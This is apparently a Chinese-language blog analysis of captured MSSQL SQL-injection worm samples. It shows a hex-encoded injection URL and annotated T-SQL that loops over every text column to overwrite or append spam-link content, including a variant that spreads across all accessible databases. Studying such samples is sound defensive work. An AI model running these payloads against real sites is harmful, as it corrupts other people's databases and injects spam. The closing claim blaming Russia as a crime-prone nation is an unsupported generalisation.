MSSQL 蠕虫分析

在工作中捕获到的一枚 MSSQL 蠕虫的 Payload:

/news_info.aspx?News_Id=1511+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522......

该蠕虫非常巧妙,利用了 MSSQL 很多特性,以下是我分析后的注释:

set ansi_warnings off
-- @T和@C变量分别用来存储表名和列名
DECLARE @T VARCHAR(255),@C VARCHAR(255)
-- Table_Cursor 是个游标变量,用来保存后面查询语句的游标
DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME
-- INFORMATION_SCHEMA.columns 和 INFORMATION_SCHEMA.tables 保存了当前库的元数据——表名和列名
from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
-- 由于是要插入广告,所以必须要找字符串和 text 类型的列
where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
-- 允许字符长度太小的列无法插广告,所以长度也有要求
and c.CHARACTER_MAXIMUM_LENGTH>10
and t.table_name=c.table_name
and t.table_type='BASE TABLE'

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
-- 遍历查询结果,然后执行 UPDATE 操作,把找到“corypaydayloans.com”的全部替换成“maxxpaydayloans.com”,这是竞争对手干的吧?
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'], ''corypaydayloans.com'', ''maxxpaydayloans.com'') where ['+@C+'] like ''%corypaydayloans.com%'' ')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

如果网站使用的 SQL Server 数据库,当URL存在注入时,以上代码就会先得到当前库的所有可插广告的表中的列,然后执行 UPDATE。

在这两年中我还见过类似的其他蠕虫样本,主要目的是利用网站漏洞去插入广告,例:

-- 请勿用于非法用途

DECLARE @d varchar(100);
DECLARE @dbc cursor
set @dbc=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());
open @dbc
fetch next from @dbc into @d
WHILE(@@FETCH_STATUS=0)
BEGIN
declare @sql nvarchar(1000);
-- 因为直接执行 exec('use '+@d) 后再执行时无效的,所以只有全部放字符串里
set @sql = N'
use '+@d+';
declare @tc cursor;
declare @t varchar(100);
declare @c varchar(100);
declare @sql varchar(100);
set @tc=cursor for select c.TABLE_NAME,c.COLUMN_NAME
from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
where c.data_type in (''nvarchar'', ''varchar'', ''ntext'', ''text'')
and c.character_maximum_length > 10
and t.table_name=c.table_name
and t.table_type=''BASE TABLE'';

open @tc;
fetch next from @tc into @t, @c;
while(@@fetch_status=0)
begin
set @sql = ''update [''+@t+''] set [''+@c+'']=[''+@c+'']+''''test MSSQL Worm'''';'';
exec(@sql);
fetch next from @tc into @t, @c;
end
close @tc
'
exec sp_executesql @sql;
fetch next from @dbc into @d
END
CLOSE @dbc

顺便说下,这两个蠕虫均是来自俄罗斯这个网络犯罪高发的国家。